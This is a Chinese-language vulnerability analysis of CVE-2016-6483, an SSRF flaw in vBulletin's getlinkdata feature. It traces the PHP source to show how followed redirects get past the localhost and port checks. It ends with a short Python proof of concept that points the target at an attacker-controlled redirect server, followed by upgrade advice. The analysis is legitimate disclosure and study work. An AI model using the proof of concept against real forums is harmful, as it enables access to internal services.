Back

CVE-2016-6483 vBulletin 5.2.2 SSRF漏洞

Luc|faer
Luc|faer 2016年08月11日

0x00 漏洞概述:

漏洞信息

vBulletin是一个商业论坛程序,它封装了自己的curl用于发出请求。近日研究人员发现在某些版本中其getlinkdata这项功能并没有对跳转进行检测和制止,从而导致SSRF漏洞的产生。

影响版本

vBulletin <= 5.2.2 Preauth Server Side Request Forgery (SSRF)

vBulletin <= 4.2.3

vBulletin <= 3.8.9

0x01 漏洞效果图:

1.png

0x02 漏洞分析:

首先,在/upload/include/vb5/frontend/controller/link.php中定义了actionGetlinkdata函数:

    $input = array(
            'url' => trim($_REQUEST['url']),
        );

        $api = Api_InterfaceAbstract::instance();

        $video = $api->callApi('content_video', 'getVideoFromUrl', array($input['url']));
        $data = $api->callApi('content_link', 'parsePage', array($input['url']));

获取输入的url参数,通过

$video = $api->callApi('content_video', 'getVideoFromUrl', array($input['url']));
$data = $api->callApi('content_link', 'parsePage', array($input['url']));

分别传递给content_videocontent_link这两个controller中的getVideoFromUrlparsePage这两个api函数。

/upload/core/vb/api/content/link.php中的parsePageapi函数中:

public function parsePage($url)
    {
        // Validate url
        if (!preg_match('|^http(s)?://[a-z0-9-]+(\.[a-z0-9-]+)*(:[0-9]+)?(/.*)?$|i', $url))
        {
            throw new vB_Exception_Api('upload_invalid_url');
        }

        if (($urlparts = vB_String::parseUrl($url)) === false)
        {
            throw new vB_Exception_Api('upload_invalid_url');
        }

        // Try to fetch the url
        $vurl = new vB_vURL();
        $vurl->set_option(VURL_URL, $url);
        // Use IE8's User-Agent for the best compatibility
        $vurl->set_option(VURL_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)');
        $vurl->set_option(VURL_RETURNTRANSFER, 1);
        $vurl->set_option(VURL_CLOSECONNECTION, 1);
        $vurl->set_option(VURL_FOLLOWLOCATION, 1);
        $vurl->set_option(VURL_HEADER, 1);

        $page = $vurl->exec();

        return $this->extractData($page, $urlparts);
    }
  • 完成对于url的获取,以及对于各个参数的设置。
  • 传入的$url直接新建了一个对象vB_vURL()来实现curl
  • $vurl->set_option(VURL_FOLLOWLOCATION, 1);设置VURL_FOLLOWLOCATION参数值为1,允许跳转后的二次跳转

/upload/core/vb/vurl.php中的class_vB_vURL()触发漏洞:

var $classnames = array('cURL')

public function __construct()
    {
        $this->options = vB::getDatastore()->get_value('options');

        // create the objects we need
        foreach ($this->classnames AS $classname)
        {
            $fullclass = 'vB_vURL_' . $classname;
            $this->transports["$classname"] = new $fullclass($this);
        }
        $this->reset();
    }

  function exec()
    {
        $result = $this->exec2();
        ......
        return $result;
    }


    function exec2()
        {
        .......

            foreach (array_keys($this->transports) AS $tname)
            {
                $transport =& $this->transports[$tname];
                if (($result = $transport->exec()) === VURL_HANDLED  AND !$this->fetch_error())
                {
                    return $this->format_response(array('headers' => $transport->response_header, 'body' => (isset($transport->response_text)? $transport->response_text : ""), 'body_file' => $this->tmpfile));
                }

                ......
        }
  • 首先,在调用该类时触发构造函数,创建我们需要的行的对象,处理拼接后的对象为:vB_vURL_cURL()
  • 之后,使用其中的exec()方法。

/upload/core/vb/vurl/curl.php中看到vB_vURL_cURL()类中的exec()方法:

public function exec()
{
  $urlinfo = @vB_String::parseUrl($this->vurl->options[VURL_URL]);
  if(!$this->validateUrl($urlinfo))
  {
    return VURL_NEXT;
  }

  ......

  $url = $this->vurl->options[VURL_URL];

  $redirectCodes = array(301, 302);

  for ($i = $redirect_tries; $i > 0; $i--)
        {
            ......

            $result = $this->execCurl($url, $isHttps);

            ......
        }

    if (($this->vurl->bitoptions & VURL_FOLLOWLOCATION) && in_array(curl_getinfo($this->ch, CURLINFO_HTTP_CODE), $redirectCodes))
    {
            $this->closeTempFile();
            return VURL_NEXT;
    }

vB_vURL_cURL()类中的validateUrl()方法:

private function validateUrl($urlinfo)
    {
        // VBV-11823, only allow http/https schemes
        if (!isset($urlinfo['scheme']) OR !in_array(strtolower($urlinfo['scheme']), array('http', 'https')))
        {
            return false;
        }

        // VBV-11823, do not allow localhost and 127.0.0.0/8 range by default
        if (!isset($urlinfo['host']) OR preg_match('#localhost|127\.(\d)+\.(\d)+\.(\d)+#i', $urlinfo['host']))
        {
            return false;
        }

        ......

        $allowedPorts = isset($config['Misc']['uploadallowedports']) ? $config['Misc']['uploadallowedports'] : array();
        if (!is_array($allowedPorts))
        {
            $allowedPorts = array(80, 443, $allowedPorts);
        }
        else
        {
            $allowedPorts = array_merge(array(80, 443), $allowedPorts);
        }

        if (!in_array($urlinfo['port'], $allowedPorts))
        {
            return false;
        }

        return true;
    }
  • 首先看到validateUrl()进行了对于$urlinfo数组的过滤:

    • 不允许127.0.0.0/8这一系列的地址对本地地址或端口的操作,用于防止ssrf攻击
    • 限制跳转地址访问的端口只能是44380端口。
  • 之后,在exec()中,当我们设置的VURL_FOLLOWLOCATION值为1时,会将跳转信息为301302的信息设置为允许二次跳转,触发ssrf漏洞。

0x03 漏洞利用:

测试poc:

#!/usr/bin/env python
#coding:utf-8

import requests as req

u = 'vb服务器ip地址'
redirect_server = '你的vps'
vul_url = u + '/link/getlinkdata'
data = {
    'url' : redirect_server
}
r = req.get(vul_url)
print vul_url
print r
req.post(vul_url, data=data)

0x04 漏洞修复:

  • 将vBulletin升级到最新版本

0x05 参考:

http://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt

Submit